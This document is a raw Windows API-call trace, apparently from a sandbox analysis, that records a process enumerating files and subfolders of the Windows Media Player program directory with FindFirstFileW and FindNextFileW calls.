	[0180.555] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd13924, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x9c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnetwk.exe.mui", cAlternateFileName="")) returned 1
	[0180.555] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de1e9a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x10aa0400, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnscfg.exe.mui", cAlternateFileName="")) returned 1
	[0180.555] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de1e9a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x10aa0400, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnssci.dll.mui", cAlternateFileName="")) returned 1
	[0180.555] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bacb92, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x100e6f00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnssui.dll.mui", cAlternateFileName="")) returned 1
	[0180.555] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bacb92, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x100e6f00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnssui.dll.mui", cAlternateFileName="")) returned 0
	[0180.557] FindClose (in: hFindFile=0x76e7a8 | out: hFindFile=0x76e7a8) returned 1
	[0180.558] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0180.558] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9125145, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1
	[0180.558] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x40b0028
	[0180.558] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Icons\\*", lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9125145, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e7a8
	[0180.558] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9125145, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0180.558] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9125145, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0
	[0180.558] FindClose (in: hFindFile=0x76e7a8 | out: hFindFile=0x76e7a8) returned 1
	[0180.558] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0180.558] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9182d5a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Renderer", cAlternateFileName="MEDIAR~1")) returned 1
	[0180.558] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x40b0028
	[0180.559] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\*", lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9182d5a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e7a8
	[0180.559] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9182d5a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0180.559] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x50db, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="avtransport.xml", cAlternateFileName="")) returned 1
	[0180.560] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x1534, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="connectionmanager_dmr.xml", cAlternateFileName="")) returned 1
	[0180.560] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DMR_120.jpg", cAlternateFileName="")) returned 1
	[0180.560] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x3a1c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DMR_120.png", cAlternateFileName="")) returned 1
	[0180.560] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DMR_48.jpg", cAlternateFileName="")) returned 1
	[0180.560] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x10a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DMR_48.png", cAlternateFileName="")) returned 1
	[0180.560] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x18db, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RenderingControl.xml", cAlternateFileName="")) returned 1
	[0180.560] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x933, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RenderingControl_DMP.xml", cAlternateFileName="")) returned 1
	[0180.560] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x933, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RenderingControl_DMP.xml", cAlternateFileName="")) returned 0
	[0180.560] FindClose (in: hFindFile=0x76e7a8 | out: hFindFile=0x76e7a8) returned 1
	[0180.561] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0180.561] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40fd93f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xc4f45c00, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1
	[0180.561] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c5441, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Sharing", cAlternateFileName="NETWOR~1")) returned 1
	[0180.561] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x40b0028
	[0180.561] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\*", lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c5441, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76ea28
	[0180.722] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c5441, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0180.722] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x152e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ConnectionManager.xml", cAlternateFileName="")) returned 1
	[0180.722] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x1d5b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ContentDirectory.xml", cAlternateFileName="")) returned 1
	[0180.722] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0xa0e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MediaReceiverRegistrar.xml", cAlternateFileName="")) returned 1
	[0180.722] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x1287, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnss_color120.jpg", cAlternateFileName="")) returned 1
	[0180.722] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x3ea5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnss_color120.png", cAlternateFileName="")) returned 1
	[0180.722] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa417004f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x1038, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnss_color32.bmp", cAlternateFileName="")) returned 1
	[0180.723] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x743, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnss_color32.jpg", cAlternateFileName="")) returned 1
	[0180.723] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa417004f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x2438, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnss_color48.bmp", cAlternateFileName="")) returned 1
	[0180.723] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x910, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnss_color48.jpg", cAlternateFileName="")) returned 1
	[0180.723] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x139e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnss_color48.png", cAlternateFileName="")) returned 1
	[0180.723] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x139e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnss_color48.png", cAlternateFileName="")) returned 0
	[0180.723] FindClose (in: hFindFile=0x76ea28 | out: hFindFile=0x76ea28) returned 1
	[0180.749] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0180.749] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5c60b90, ftCreationTime.dwHighDateTime=0x1d56489, ftLastAccessTime.dwLowDateTime=0x84d23e10, ftLastAccessTime.dwHighDateTime=0x1d5ca90, ftLastWriteTime.dwLowDateTime=0x84d23e10, ftLastWriteTime.dwHighDateTime=0x1d5ca90, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="outlook.exe", cAlternateFileName="")) returned 1
	[0180.750] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88286500, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x1c0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup_wm.exe", cAlternateFileName="")) returned 1
	[0180.750] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c66b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Skins", cAlternateFileName="")) returned 1
	[0180.750] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x40b0028
	[0180.750] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Skins\\*", lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c66b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e868
	[0180.762] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c66b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0180.762] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40fd93f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xa8035d00, ftLastWriteTime.dwHighDateTime=0x1d29f92, nFileSizeHigh=0x0, nFileSizeLow=0x11550, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Revert.wmz", cAlternateFileName="")) returned 1
	[0180.762] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40fd93f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xa8035d00, ftLastWriteTime.dwHighDateTime=0x1d29f92, nFileSizeHigh=0x0, nFileSizeLow=0x11550, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Revert.wmz", cAlternateFileName="")) returned 0
	[0180.763] FindClose (in: hFindFile=0x76e868 | out: hFindFile=0x76e868) returned 1
	[0180.763] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0180.763] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c754d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visualizations", cAlternateFileName="VISUAL~1")) returned 1
	[0180.763] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x40b0028
